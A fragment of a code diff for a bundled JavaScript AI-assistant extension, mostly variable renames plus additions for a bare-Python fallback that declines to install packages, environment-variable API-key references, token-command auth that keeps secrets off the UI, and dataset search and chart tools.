+ }),
47209
+ "",
47210
+ "Pass this to show_chart. Keep `detail` so the user can open a bar and see what is in it."
47211
+ ].join("\n")
47212
+ };
47213
+ } catch (error51) {
47214
+ return { content: error51 instanceof Error ? error51.message : String(error51), isError: true };
47215
+ }
47216
+ }
47217
+ };
47218
+ }
46644
47219
 
46645
47220
  // ../../packages/core/dist/office/mailStore.js
46646
47221
  import fs5 from "node:fs/promises";
@@ -46983,7 +47558,7 @@ async function refreshMail(options) {
46983
47558
  const limit = options.batchLimit ?? 2e3;
46984
47559
  const previewChars = options.previewChars ?? 400;
46985
47560
  const sinceMs = Date.now() - options.days * 24 * 60 * 60 * 1e3;
46986
- const harvested = await options.harvest(options.folders.map((path33) => ({ path: path33, sinceMs })), { limit, previewChars });
47561
+ const harvested = await options.harvest(options.folders.map((path34) => ({ path: path34, sinceMs })), { limit, previewChars });
46987
47562
  const fetched = harvested.messages.map(toRecord);
46988
47563
  if (fetched.length === 0) {
46989
47564
  return { added: 0, more: false, total: known.length, embedded: 0, backfilled: 0, complete: [] };
@@ -47024,9 +47599,9 @@ async function syncMail(options) {
47024
47599
  const backfillDone = await options.store.loadBackfillState();
47025
47600
  const limit = options.batchLimit ?? 500;
47026
47601
  const previewChars = options.previewChars ?? 400;
47027
- const forwardRequests = options.folders.map((path33) => {
47028
- const mark = marks.get(path33);
47029
- return mark === void 0 ? { path: path33 } : { path: path33, sinceMs: mark.newest - 1e3 };
47602
+ const forwardRequests = options.folders.map((path34) => {
47603
+ const mark = marks.get(path34);
47604
+ return mark === void 0 ? { path: path34 } : { path: path34, sinceMs: mark.newest - 1e3 };
47030
47605
  });
47031
47606
  const forward = await options.harvest(forwardRequests, { limit, previewChars });
47032
47607
  let candidates = forward.messages.map(toRecord);
@@ -47035,15 +47610,15 @@ async function syncMail(options) {
47035
47610
  let more = forward.truncated;
47036
47611
  const remaining = limit - candidates.length;
47037
47612
  const floor = options.retentionMonths === void 0 ? void 0 : monthsBefore(options.now ?? Date.now(), options.retentionMonths);
47038
- const outstanding = options.folders.filter((path33) => marks.has(path33) && backfillDone[path33] !== true);
47039
- const atFloor = floor === void 0 ? [] : outstanding.filter((path33) => marks.get(path33).oldest <= floor);
47040
- const behind = outstanding.filter((path33) => !atFloor.includes(path33));
47613
+ const outstanding = options.folders.filter((path34) => marks.has(path34) && backfillDone[path34] !== true);
47614
+ const atFloor = floor === void 0 ? [] : outstanding.filter((path34) => marks.get(path34).oldest <= floor);
47615
+ const behind = outstanding.filter((path34) => !atFloor.includes(path34));
47041
47616
  completed.push(...atFloor);
47042
47617
  if (remaining > 0 && behind.length > 0 && options.signal?.aborted !== true) {
47043
- const backRequests = behind.map((path33) => ({
47044
- path: path33,
47618
+ const backRequests = behind.map((path34) => ({
47619
+ path: path34,
47045
47620
  // Strictly older, so the oldest held message is not fetched again every pass.
47046
- beforeMs: marks.get(path33).oldest,
47621
+ beforeMs: marks.get(path34).oldest,
47047
47622
  // And no older than retention wants. The harvest ANDs the two into one window.
47048
47623
  ...floor === void 0 ? {} : { sinceMs: floor }
47049
47624
  }));
@@ -47051,9 +47626,9 @@ async function syncMail(options) {
47051
47626
  backfilled = backward.messages.length;
47052
47627
  candidates = [...candidates, ...backward.messages.map(toRecord)];
47053
47628
  const returnedFor = new Set(backward.messages.map((message3) => message3.folder));
47054
- for (const path33 of behind) {
47055
- if (!returnedFor.has(path33))
47056
- completed.push(path33);
47629
+ for (const path34 of behind) {
47630
+ if (!returnedFor.has(path34))
47631
+ completed.push(path34);
47057
47632
  }
47058
47633
  if (backward.truncated || backfilled > 0)
47059
47634
  more = true;
@@ -47061,7 +47636,7 @@ async function syncMail(options) {
47061
47636
  if (completed.length > 0) {
47062
47637
  await options.store.saveBackfillState({
47063
47638
  ...backfillDone,
47064
- ...Object.fromEntries(completed.map((path33) => [path33, true]))
47639
+ ...Object.fromEntries(completed.map((path34) => [path34, true]))
47065
47640
  });
47066
47641
  }
47067
47642
  const fresh = withoutKnown(candidates, known);
@@ -47979,14 +48554,14 @@ function formatBytes(size) {
47979
48554
  return `${(size / (1 << 10)).toFixed(1)}KB`;
47980
48555
  return `${String(size)}B`;
47981
48556
  }
47982
- async function readTail(fs26, path33, size, count) {
48557
+ async function readTail(fs27, path34, size, count) {
47983
48558
  let span = Math.min(size, CHUNK);
47984
48559
  let text;
47985
48560
  let start;
47986
48561
  for (; ; ) {
47987
48562
  start = Math.max(0, size - span);
47988
48563
  const decoder = new StringDecoder("utf8");
47989
- text = decoder.write(await fs26.readBytesSlice(path33, start, size)) + decoder.end();
48564
+ text = decoder.write(await fs27.readBytesSlice(path34, start, size)) + decoder.end();
47990
48565
  const enough = text.split("\n").length > count;
47991
48566
  if (enough || start === 0 || span >= size)
47992
48567
  break;
@@ -48004,7 +48579,7 @@ async function readTail(fs26, path33, size, count) {
48004
48579
  hasMoreAfter: false
48005
48580
  };
48006
48581
  }
48007
- async function readLineWindow(fs26, path33, size, from, count) {
48582
+ async function readLineWindow(fs27, path34, size, from, count) {
48008
48583
  const decoder = new StringDecoder("utf8");
48009
48584
  const lines = [];
48010
48585
  let pending = "";
@@ -48019,7 +48594,7 @@ async function readLineWindow(fs26, path33, size, from, count) {
48019
48594
  };
48020
48595
  scan: while (position < size) {
48021
48596
  const end = Math.min(size, position + CHUNK);
48022
- pending += decoder.write(await fs26.readBytesSlice(path33, position, end));
48597
+ pending += decoder.write(await fs27.readBytesSlice(path34, position, end));
48023
48598
  position = end;
48024
48599
  const parts = pending.split(/\r\n|\r|\n/);
48025
48600
  pending = parts.pop() ?? "";
@@ -48042,13 +48617,13 @@ async function readLineWindow(fs26, path33, size, from, count) {
48042
48617
  hasMoreAfter: !reachedEnd || lineNumber > from + lines.length
48043
48618
  };
48044
48619
  }
48045
- async function countLines(fs26, path33, size) {
48620
+ async function countLines(fs27, path34, size) {
48046
48621
  let newlines = 0;
48047
48622
  let position = 0;
48048
48623
  let lastByte = -1;
48049
48624
  while (position < size) {
48050
48625
  const end = Math.min(size, position + CHUNK);
48051
- const buffer = await fs26.readBytesSlice(path33, position, end);
48626
+ const buffer = await fs27.readBytesSlice(path34, position, end);
48052
48627
  for (const byte of buffer)
48053
48628
  if (byte === 10)
48054
48629
  newlines += 1;
@@ -54060,25 +54635,64 @@ async function discoverWorkspaceVenv(workspaceRoot) {
54060
54635
  continue;
54061
54636
  }
54062
54637
  let uvManaged = false;
54063
- let pythonVersion;
54638
+ let pythonVersion2;
54064
54639
  try {
54065
54640
  const config2 = await fs8.readFile(path15.join(candidate, "pyvenv.cfg"), "utf8");
54066
54641
  uvManaged = /^\s*uv\s*=/m.test(config2);
54067
- pythonVersion = /^\s*version(?:_info)?\s*=\s*(.+)$/m.exec(config2)?.[1]?.trim();
54642
+ pythonVersion2 = /^\s*version(?:_info)?\s*=\s*(.+)$/m.exec(config2)?.[1]?.trim();
54068
54643
  } catch {
54069
54644
  }
54070
54645
  return {
54071
54646
  path: candidate,
54072
54647
  interpreter,
54073
54648
  uvManaged,
54074
- ...pythonVersion !== void 0 ? { pythonVersion } : {}
54649
+ ...pythonVersion2 !== void 0 ? { pythonVersion: pythonVersion2 } : {}
54075
54650
  };
54076
54651
  }
54077
54652
  return void 0;
54078
54653
  }
54654
+ var BARE_PYTHON_CANDIDATES = ["python3", "python"];
54655
+ async function detectBareInterpreter(configuredPath) {
54656
+ const candidates = configuredPath !== void 0 && configuredPath.trim().length > 0 ? [configuredPath.trim()] : [...BARE_PYTHON_CANDIDATES];
54657
+ for (const candidate of candidates) {
54658
+ try {
54659
+ const version2 = await pythonVersion(candidate);
54660
+ if (version2 !== void 0)
54661
+ return { path: candidate, version: version2 };
54662
+ } catch {
54663
+ }
54664
+ }
54665
+ return void 0;
54666
+ }
54667
+ async function pythonVersion(program) {
54668
+ const { spawn: spawn8 } = await import("node:child_process");
54669
+ return new Promise((resolve) => {
54670
+ const child = spawn8(program, ["-c", 'import sys; print("%d.%d.%d" % sys.version_info[:3])'], {
54671
+ shell: false,
54672
+ env: minimalPythonEnv()
54673
+ });
54674
+ let out = "";
54675
+ child.stdout.on("data", (chunk) => out += chunk.toString());
54676
+ child.on("error", () => resolve(void 0));
54677
+ const timer = setTimeout(() => {
54678
+ child.kill();
54679
+ resolve(void 0);
54680
+ }, 1e4);
54681
+ child.on("close", (code) => {
54682
+ clearTimeout(timer);
54683
+ const version2 = out.trim();
54684
+ if (code !== 0 || !/^\d+\.\d+\.\d+$/.test(version2)) {
54685
+ resolve(void 0);
54686
+ return;
54687
+ }
54688
+ const major = Number(version2.split(".")[0]);
54689
+ resolve(major >= 3 ? version2 : void 0);
54690
+ });
54691
+ });
54692
+ }
54079
54693
 
54080
54694
  // ../../packages/core/dist/python/worker.js
54081
- import { execFile as execFile4, spawn as spawn2 } from "node:child_process";
54695
+ import { execFile as execFile4, spawn as spawn3 } from "node:child_process";
54082
54696
  import { createInterface } from "node:readline";
54083
54697
  var PythonWorkerError = class extends Error {
54084
54698
  traceback;
@@ -54102,7 +54716,7 @@ var PythonWorker = class {
54102
54716
  start() {
54103
54717
  if (this.child !== void 0 && this.child.exitCode === null && !this.child.killed)
54104
54718
  return this.child;
54105
- const child = spawn2(this.options.pythonPath, [this.options.workerScript], {
54719
+ const child = spawn3(this.options.pythonPath, [this.options.workerScript], {
54106
54720
  cwd: this.options.cwd,
54107
54721
  env: this.options.env,
54108
54722
  windowsHide: true,
@@ -54743,7 +55357,7 @@ function makeWriteTool(context, options) {
54743
55357
  if (context.installDeps === void 0) {
54744
55358
  await restore();
54745
55359
  return {
54746
- content: `This tool declares dependencies (${declared.join(", ")}) but dependency installation is not available \u2014 uv could not be found. Rewrite it using only the standard library, or ask the user to configure uv in Settings \u2192 Python.`,
55360
+ content: `This tool declares dependencies (${declared.join(", ")}) but they cannot be installed. ` + (context.installUnavailableReason ?? "uv could not be found. Ask the user to configure uv in Settings \u2192 Python.") + " Rewrite the tool using only the standard library and whatever is already importable, or ask the user to install the package themselves.",
54747
55361
  isError: true
54748
55362
  };
54749
55363
  }
@@ -54925,8 +55539,7 @@ var PythonManager = class {
54925
55539
  if (this.uv === void 0)
54926
55540
  this.uv = await detectUv(config2.uvPath);
54927
55541
  if (this.uv === void 0) {
54928
- this.ready = false;
54929
- this.detail = "uv was not found. Install it and set the path in Settings \u2192 Python, or add it to PATH.";
55542
+ await this.startWithoutUv(config2, this.options.workspaceRoot);
54930
55543
  return;
54931
55544
  }
54932
55545
  try {
@@ -55074,6 +55687,16 @@ var PythonManager = class {
55074
55687
  ...generated !== void 0 ? { generateSource: generated } : {},
55075
55688
  worker,
55076
55689
  onChanged: () => this.refresh(),
55690
+ /*
55691
+ * No installing against an interpreter we do not own.
55692
+ *
55693
+ * Absent rather than failing, so the refusal happens before a file is written and names the
55694
+ * package. The reason travels with it because the advice differs: install uv, versus
55695
+ * install the package into the environment you already have.
55696
+ */
55697
+ ...this.venvSource === "interpreter" ? {
55698
+ installUnavailableReason: `Light Code is using the Python interpreter at ${this.interpreter} directly, with no virtualenv, so it does not install or remove packages there \u2014 that environment belongs to whatever started it.`
55699
+ } : {},
55077
55700
  ...uv !== void 0 ? {
55078
55701
  installDeps: (packages) => installDependencies({
55079
55702
  uv,
@@ -55087,6 +55710,44 @@ var PythonManager = class {
55087
55710
  } : {}
55088
55711
  };
55089
55712
  }
55713
+ /**
55714
+ * Starts against an interpreter we did not create and do not own.
55715
+ *
55716
+ * Deliberately parallel to the uv path rather than folded into it: the two differ on the one
55717
+ * decision that matters — whether installing a package is allowed — and a single path with a
55718
+ * flag threaded through it is how that decision ends up being made in the wrong place.
55719
+ */
55720
+ async startWithoutUv(config2, workspaceRoot) {
55721
+ const bare = await detectBareInterpreter(config2.interpreterPath);
55722
+ if (bare === void 0) {
55723
+ this.ready = false;
55724
+ this.detail = config2.interpreterPath !== void 0 && config2.interpreterPath.trim().length > 0 ? `The configured interpreter could not be run: ${config2.interpreterPath}. Give the full path to a Python 3 executable, or clear the field to search the PATH.` : "No Python was found. Either install uv (Settings \u2192 Python) so Light Code can manage an environment for you, or make a Python 3 interpreter available on PATH \u2014 if one is already installed, give its full path in Settings \u2192 Python.";
55725
+ return;
55726
+ }
55727
+ try {
55728
+ const env2 = minimalPythonEnv(this.options.sessionEnv?.() ?? {});
55729
+ this.interpreter = bare.path;
55730
+ this.venvPath = "";
55731
+ this.venvSource = "interpreter";
55732
+ this.venvIsUvManaged = false;
55733
+ const workerScript = await this.writeWorkerScript();
55734
+ this.worker ??= new PythonWorker({
55735
+ pythonPath: bare.path,
55736
+ workerScript,
55737
+ cwd: workspaceRoot,
55738
+ env: env2,
55739
+ logger: this.options.logger,
55740
+ timeoutMs: this.timeoutMs
55741
+ });
55742
+ await this.refresh();
55743
+ this.ready = true;
55744
+ this.detail = `Ready \u2014 using Python ${bare.version} at ${bare.path}, with no virtualenv. Tools run against whatever that interpreter can already import; declared dependencies are NOT installed. Install uv if you want Light Code to manage an environment.`;
55745
+ } catch (error51) {
55746
+ this.ready = false;
55747
+ this.detail = error51 instanceof Error ? error51.message : String(error51);
55748
+ this.options.logger.warn("python environment failed to start", this.detail);
55749
+ }
55750
+ }
55090
55751
  status() {
55091
55752
  return {
55092
55753
  enabled: this.enabled,
@@ -55888,13 +56549,13 @@ async function runAgentTurn(provider, conversation, userMessage, toolRegistry, t
55888
56549
  // ../../packages/core/dist/host/bridge.js
55889
56550
  import { createHash as createHash3, randomUUID as randomUUID3 } from "node:crypto";
55890
56551
  import { watch as watchPath } from "node:fs";
55891
- import { spawn as spawn5 } from "node:child_process";
56552
+ import { spawn as spawn6 } from "node:child_process";
55892
56553
  import fs18 from "node:fs/promises";
55893
56554
  import os2 from "node:os";
55894
56555
  import path24 from "node:path";
55895
56556
 
55896
56557
  // ../../packages/core/dist/office/bridge.js
55897
- import { spawn as spawn3 } from "node:child_process";
56558
+ import { spawn as spawn4 } from "node:child_process";
55898
56559
  import fs15 from "node:fs/promises";
55899
56560
  import path22 from "node:path";
55900
56561
 
@@ -57877,7 +58538,7 @@ var OfficeBridge = class {
57877
58538
  const BOM = "\uFEFF";
57878
58539
  await fs15.writeFile(target, `${BOM}${OFFICE_WORKER_SOURCE}`, "utf8");
57879
58540
  this.scriptPath = target;
57880
- const child = spawn3("powershell.exe", ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-File", target], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
58541
+ const child = spawn4("powershell.exe", ["-NoProfile", "-NonInteractive", "-ExecutionPolicy", "Bypass", "-File", target], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
57881
58542
  this.child = child;
57882
58543
  this.buffer = "";
57883
58544
  child.stdout?.setEncoding("utf8");
@@ -58470,17 +59131,17 @@ var WebviewApprovalGate = class {
58470
59131
  // ../../packages/core/dist/platform/node/filesystem.js
58471
59132
  import fs16 from "node:fs/promises";
58472
59133
  var NodeFileSystem = class {
58473
- async readFile(path33) {
58474
- return fs16.readFile(path33, "utf8");
59134
+ async readFile(path34) {
59135
+ return fs16.readFile(path34, "utf8");
58475
59136
  }
58476
- async readBytes(path33) {
58477
- return fs16.readFile(path33);
59137
+ async readBytes(path34) {
59138
+ return fs16.readFile(path34);
58478
59139
  }
58479
- async readBytesSlice(path33, start, end) {
59140
+ async readBytesSlice(path34, start, end) {
58480
59141
  const length = Math.max(0, end - start);
58481
59142
  if (length === 0)
58482
59143
  return Buffer.alloc(0);
58483
- const handle = await fs16.open(path33, "r");
59144
+ const handle = await fs16.open(path34, "r");
58484
59145
  try {
58485
59146
  const buffer = Buffer.alloc(length);
58486
59147
  const { bytesRead } = await handle.read(buffer, 0, length, start);
@@ -58489,11 +59150,11 @@ var NodeFileSystem = class {
58489
59150
  await handle.close();
58490
59151
  }
58491
59152
  }
58492
- async writeFile(path33, contents) {
58493
- await fs16.writeFile(path33, contents, "utf8");
59153
+ async writeFile(path34, contents) {
59154
+ await fs16.writeFile(path34, contents, "utf8");
58494
59155
  }
58495
- async stat(path33) {
58496
- const stat = await fs16.lstat(path33);
59156
+ async stat(path34) {
59157
+ const stat = await fs16.lstat(path34);
58497
59158
  return {
58498
59159
  size: stat.size,
58499
59160
  mtimeMs: stat.mtimeMs,
@@ -58502,8 +59163,8 @@ var NodeFileSystem = class {
58502
59163
  isSymbolicLink: stat.isSymbolicLink()
58503
59164
  };
58504
59165
  }
58505
- async readdir(path33) {
58506
- const entries = await fs16.readdir(path33, { withFileTypes: true });
59166
+ async readdir(path34) {
59167
+ const entries = await fs16.readdir(path34, { withFileTypes: true });
58507
59168
  return entries.map((entry) => ({
58508
59169
  name: entry.name,
58509
59170
  isFile: entry.isFile(),
@@ -58511,21 +59172,21 @@ var NodeFileSystem = class {
58511
59172
  isSymbolicLink: entry.isSymbolicLink()
58512
59173
  }));
58513
59174
  }
58514
- async exists(path33) {
59175
+ async exists(path34) {
58515
59176
  try {
58516
- await fs16.access(path33);
59177
+ await fs16.access(path34);
58517
59178
  return true;
58518
59179
  } catch {
58519
59180
  return false;
58520
59181
  }
58521
59182
  }
58522
- async mkdir(path33) {
58523
- await fs16.mkdir(path33, { recursive: true });
59183
+ async mkdir(path34) {
59184
+ await fs16.mkdir(path34, { recursive: true });
58524
59185
  }
58525
59186
  };
58526
59187
 
58527
59188
  // ../../packages/core/dist/platform/node/terminal.js
58528
- import { execFile as execFile6, spawn as spawn4 } from "node:child_process";
59189
+ import { execFile as execFile6, spawn as spawn5 } from "node:child_process";
58529
59190
  var NodeTerminalProcess = class {
58530
59191
  child;
58531
59192
  dataListeners = [];
@@ -58576,7 +59237,7 @@ var NodeTerminalProcess = class {
58576
59237
  };
58577
59238
  var NodeTerminal = class {
58578
59239
  run(command, options = {}) {
58579
- const child = spawn4(command, {
59240
+ const child = spawn5(command, {
58580
59241
  cwd: options.cwd,
58581
59242
  env: options.env ? { ...process.env, ...options.env } : process.env,
58582
59243
  shell: true,
@@ -58754,7 +59415,33 @@ async function toSummary(profile, secrets) {
58754
59415
  baseUrl: profile.baseUrl,
58755
59416
  model: profile.model,
58756
59417
  authType: profile.auth.type,
58757
- hasApiKey: profile.auth.type === "apiKey" && await secrets.get(profile.auth.apiKeyRef) !== void 0,
59418
+ hasApiKey: profile.auth.type === "apiKey" && await resolveSecretRef(profile.auth.apiKeyRef, { secrets }) !== void 0,
59419
+ /*
59420
+ * The reference itself, when it names the environment.
59421
+ *
59422
+ * Sending it is not a secret leak (invariant 7) — a variable *name* is not its value, and the
59423
+ * user typed it. It is what lets the panel show "from $API_TOKEN" instead of an empty box that
59424
+ * reads as an unconfigured profile.
59425
+ */
59426
+ ...profile.auth.type === "apiKey" && describeSecretRef(profile.auth.apiKeyRef).kind === "env" ? { apiKeyEnvVar: describeSecretRef(profile.auth.apiKeyRef).envVar } : {},
59427
+ // Not a secret: a command describes how to *get* a credential. The token it produces never
59428
+ // crosses the bridge, and a form cannot edit what it is never shown.
59429
+ // References only — a store key or a variable name, never the credential (invariant 7).
59430
+ ...profile.auth.type === "header" ? { authHeaders: profile.auth.headers } : {},
59431
+ ...profile.auth.type === "tokenCommand" ? {
59432
+ /*
59433
+ * `env` is dropped on the way out, deliberately.
59434
+ *
59435
+ * It is the one field here somebody might have put a credential in, and the panel has no
59436
+ * business rendering it. Dropping it from the summary rather than from the schema means a
59437
+ * hand-written one keeps working; the form simply never sees it, and never sends it back.
59438
+ */
59439
+ tokenCommand: ((whole) => {
59440
+ const { env: env2, ...rest } = whole;
59441
+ void env2;
59442
+ return rest;
59443
+ })(profile.auth.tokenCommand)
59444
+ } : {},
58758
59445
  hasClientSecret: false,
58759
59446
  hasCertPassphrase: false
58760
59447
  };
@@ -59268,6 +59955,9 @@ function wireChatBridge(services) {
59268
59955
  let cachedProgrammingProfileId;
59269
59956
  let cachedOffice = {};
59270
59957
  let cachedMail = {};
59958
+ let cachedDatasets = [];
59959
+ let datasetSummaryForPrompt = [];
59960
+ let cachedPythonEnabled = false;
59271
59961
  const mailStore = new MailStore(storageDir);
59272
59962
  let mailBusy = false;
59273
59963
  let mailTimer;
@@ -59300,6 +59990,12 @@ function wireChatBridge(services) {
59300
59990
  cachedProgrammingProfileId = config2.programmingProfileId;
59301
59991
  cachedOffice = config2.office ?? {};
59302
59992
  cachedMail = config2.mail ?? {};
59993
+ cachedDatasets = config2.datasets ?? [];
59994
+ cachedPythonEnabled = config2.python?.dynamicTools === "on";
59995
+ datasetSummaryForPrompt = await Promise.all(cachedDatasets.map(async (dataset) => ({
59996
+ name: dataset.name,
59997
+ records: (await new DatasetStore(storageDir, dataset.id).load()).length
59998
+ })));
59303
59999
  cachedModeId = config2.modeId;
59304
60000
  cachedMaxIterations = config2.maxIterations ?? 25;
59305
60001
  cachedAccentColor = config2.ui?.accentColor ?? "#22C55E";
@@ -59400,7 +60096,7 @@ function wireChatBridge(services) {
59400
60096
  platform: process.platform === "win32" ? "win32" : "posix"
59401
60097
  });
59402
60098
  }
59403
- function currentToolRegistry(expert, search, codebase, docs, dispatcher = false, hideSkills = false, teamSkills, mailSemantic) {
60099
+ function currentToolRegistry(expert, search, codebase, docs, dispatcher = false, hideSkills = false, teamSkills, mailSemantic, datasetSemanticForTools) {
59404
60100
  const combined = new ToolRegistry();
59405
60101
  for (const tool of builtinTools.list())
59406
60102
  combined.register(tool);
@@ -59487,6 +60183,16 @@ function wireChatBridge(services) {
59487
60183
  if (codebase !== void 0) {
59488
60184
  combined.register(createSearchCodebaseTool({ ...codebase, observer: searchLog }));
59489
60185
  }
60186
+ if (cachedDatasets.length > 0) {
60187
+ combined.register(createSearchDataTool({
60188
+ load: async () => Promise.all(cachedDatasets.map(async (dataset) => ({
60189
+ id: dataset.id,
60190
+ name: dataset.name,
60191
+ records: await new DatasetStore(storageDir, dataset.id).load()
60192
+ }))),
60193
+ ...datasetSemanticForTools !== void 0 ? { semantic: datasetSemanticForTools } : {}
60194
+ }));
60195
+ }
59490
60196
  if (officeSupported() && (cachedOffice.excel === true || cachedOffice.outlook === true)) {
59491
60197
  const officeOptions = { bridge: office() };
59492
60198
  if (cachedOffice.excel === true) {
@@ -59514,6 +60220,7 @@ function wireChatBridge(services) {
59514
60220
  combined.register(createSearchMailTool(mailToolOptions));
59515
60221
  combined.register(createMailPatternsTool(mailToolOptions));
59516
60222
  combined.register(createMailCoverageTool(mailToolOptions));
60223
+ combined.register(createMailStatsTool(mailToolOptions));
59517
60224
  combined.register(createOpenEmailTool({
59518
60225
  display: async (id) => office().request({ op: "outlook.display", id })
59519
60226
  }));
@@ -59636,7 +60343,8 @@ function wireChatBridge(services) {
59636
60343
  try {
59637
60344
  const { config: config2 } = await configManager.load();
59638
60345
  const refs = (config2.profiles ?? []).flatMap((profile) => SECRET_REFS_PER_PROFILE.map((refFor) => refFor(profile.id)));
59639
- const values = await Promise.all(refs.map((ref) => secrets.get(ref)));
60346
+ const named = (config2.profiles ?? []).map((profile) => profile.auth.type === "apiKey" ? profile.auth.apiKeyRef : void 0).filter((ref) => ref !== void 0);
60347
+ const values = await Promise.all([.../* @__PURE__ */ new Set([...refs, ...named])].map((ref) => resolveSecretRef(ref, { secrets })));
59640
60348
  cachedSecretValues = values.filter((value) => value !== void 0 && value.length > 0);
59641
60349
  return [...cachedSecretValues];
59642
60350
  } catch (error51) {
@@ -59760,6 +60468,9 @@ function wireChatBridge(services) {
59760
60468
  expertAvailable: expertCliInfo !== void 0,
59761
60469
  // Named only when there is an index to prefer.
59762
60470
  mailIndexed: cachedMail.enabled === true && cachedOffice.outlook === true,
60471
+ // Counted here rather than in the prompt builder, which has no filesystem.
60472
+ datasets: datasetSummaryForPrompt,
60473
+ canWriteCollectors: cachedPythonEnabled,
59763
60474
  /*
59764
60475
  * Either the whole list or a count and an instruction to search — never both, and
59765
60476
  * never neither. `renderSkillsHintForPrompt` explains why the count stays.
@@ -59910,7 +60621,17 @@ function wireChatBridge(services) {
59910
60621
  * is frequently a local Qdrant while the code goes to a shared cluster — mail is the
59911
60622
  * corpus people most want kept off a team's infrastructure.
59912
60623
  */
59913
- mailCollection !== void 0 && mailSearch !== void 0 && embedder !== void 0 ? { searcher: mailSearch.searcher, embedder, collection: mailCollection } : void 0
60624
+ mailCollection !== void 0 && mailSearch !== void 0 && embedder !== void 0 ? { searcher: mailSearch.searcher, embedder, collection: mailCollection } : void 0,
60625
+ /*
60626
+ * Datasets share one collection, resolved against whichever store `retrieval.stores.data`
60627
+ * names — the same per-corpus routing §12e added, for the same reason: somebody's own
60628
+ * collected data is frequently the corpus they most want kept off a shared cluster.
60629
+ */
60630
+ await (async () => {
60631
+ const collection = datasetCollectionName(config2);
60632
+ const search2 = await resolveDatasetSearch(config2);
60633
+ return collection !== void 0 && search2 !== void 0 && embedder !== void 0 ? { searcher: search2.searcher, embedder, collection } : void 0;
60634
+ })()
59914
60635
  );
59915
60636
  const turnRegistry = schedule !== void 0 ? registryForSchedule(fullRegistry.list(), schedule) : fullRegistry;
59916
60637
  turnOptions.timeoutForTool = toolTimeout;
@@ -59946,6 +60667,8 @@ function wireChatBridge(services) {
59946
60667
  expertInformed = true;
59947
60668
  if (CONTROL_TOOLS.has(toolCall.name))
59948
60669
  return;
60670
+ if (chartFromToolCall(toolCall.name, toolCall.arguments) !== void 0)
60671
+ return;
59949
60672
  const summary = {
59950
60673
  id: toolCall.id,
59951
60674
  name: toolCall.name,
@@ -59959,6 +60682,11 @@ function wireChatBridge(services) {
59959
60682
  post({ type: "textChunk", text: result.content });
59960
60683
  return;
59961
60684
  }
60685
+ const chart = chartFromToolCall(toolCall.name, toolCall.arguments);
60686
+ if (chart !== void 0) {
60687
+ post(chart.kind === "chart" ? { type: "chart", chart: chart.chart, ...expertInformed ? { expertInformed } : {} } : { type: "chartError", message: chart.message });
60688
+ return;
60689
+ }
59962
60690
  const summary = {
59963
60691
  id: toolCall.id,
59964
60692
  name: toolCall.name,
@@ -59998,8 +60726,8 @@ function wireChatBridge(services) {
59998
60726
  }
59999
60727
  }
60000
60728
  async function buildAuthFromInput(input, id) {
60001
- async function persistSecret(ref, typed) {
60002
- const value = typed?.trim() ?? "";
60729
+ async function persistSecret(ref, typed2) {
60730
+ const value = typed2?.trim() ?? "";
60003
60731
  if (value.length > 0) {
60004
60732
  await secrets.set(ref, value);
60005
60733
  return true;
@@ -60023,8 +60751,47 @@ function wireChatBridge(services) {
60023
60751
  }
60024
60752
  };
60025
60753
  }
60754
+ if (input.authType === "header") {
60755
+ const headers = (input.authHeaders ?? []).map((header) => ({
60756
+ name: header.name.trim(),
60757
+ valueRef: header.valueRef.trim(),
60758
+ ...header.prefix !== void 0 && header.prefix.length > 0 ? { prefix: header.prefix } : {}
60759
+ })).filter((header) => header.name.length > 0 && header.valueRef.length > 0);
60760
+ const stored = await Promise.all(headers.map(async (header, index) => {
60761
+ if (describeSecretRef(header.valueRef).kind === "env")
60762
+ return header;
60763
+ const ref = `profile:${id}:header:${String(index)}`;
60764
+ await secrets.set(ref, header.valueRef);
60765
+ return { ...header, valueRef: ref };
60766
+ }));
60767
+ return stored.length > 0 ? { type: "header", headers: stored } : { type: "none" };
60768
+ }
60769
+ if (input.authType === "tokenCommand") {
60770
+ if (services.executableAuthRefusal !== void 0)
60771
+ throw new Error(services.executableAuthRefusal);
60772
+ const existing2 = (await configManager.load()).config.profiles?.find((profile) => profile.id === id);
60773
+ if (input.tokenCommand === void 0 || input.tokenCommand.command.length === 0) {
60774
+ return existing2?.auth.type === "tokenCommand" ? existing2.auth : { type: "none" };
60775
+ }
60776
+ return {
60777
+ type: "tokenCommand",
60778
+ tokenCommand: {
60779
+ ...input.tokenCommand,
60780
+ command: input.tokenCommand.command.filter((part) => part.trim().length > 0)
60781
+ }
60782
+ };
60783
+ }
60026
60784
  if (input.authType === "none")
60027
60785
  return { type: "none" };
60786
+ const typed = input.apiKey.trim();
60787
+ if (describeSecretRef(typed).kind === "env") {
60788
+ await secrets.delete(apiKeyRefFor(id));
60789
+ return { type: "apiKey", apiKeyRef: typed };
60790
+ }
60791
+ const existing = (await configManager.load()).config.profiles?.find((profile) => profile.id === id);
60792
+ if (typed.length === 0 && existing?.auth.type === "apiKey" && describeSecretRef(existing.auth.apiKeyRef).kind === "env") {
60793
+ return existing.auth;
60794
+ }
60028
60795
  const apiKeyRef = apiKeyRefFor(id);
60029
60796
  if (await persistSecret(apiKeyRef, input.apiKey)) {
60030
60797
  return { type: "apiKey", apiKeyRef };
@@ -60624,8 +61391,8 @@ function wireChatBridge(services) {
60624
61391
  limit: limits.limit,
60625
61392
  previewChars: limits.previewChars
60626
61393
  });
60627
- for (const path33 of answer.skipped ?? [])
60628
- skipped.add(path33);
61394
+ for (const path34 of answer.skipped ?? [])
61395
+ skipped.add(path34);
60629
61396
  return { messages: answer.messages, truncated: answer.truncated };
60630
61397
  },
60631
61398
  ...embedder !== void 0 && search !== void 0 && collection !== void 0 ? {
@@ -60657,6 +61424,206 @@ function wireChatBridge(services) {
60657
61424
  endIndexing("mail");
60658
61425
  }
60659
61426
  }
61427
+ const datasetTimers = /* @__PURE__ */ new Map();
61428
+ const datasetBusy = /* @__PURE__ */ new Set();
61429
+ const datasetResults = /* @__PURE__ */ new Map();
61430
+ function datasetStoreFor(id) {
61431
+ return new DatasetStore(storageDir, id);
61432
+ }
61433
+ function datasetCollectionName(config2) {
61434
+ const base = codebaseIndexName(config2);
61435
+ return base === void 0 ? void 0 : `${base}-data`;
61436
+ }
61437
+ async function resolveDatasetSearch(config2, dataset) {
61438
+ const wanted = dataset?.storeId ?? storeIdFor("data", config2);
61439
+ return resolveSearch(config2, wanted);
61440
+ }
61441
+ async function datasetSemantic(config2, dataset) {
61442
+ const collection = datasetCollectionName(config2);
61443
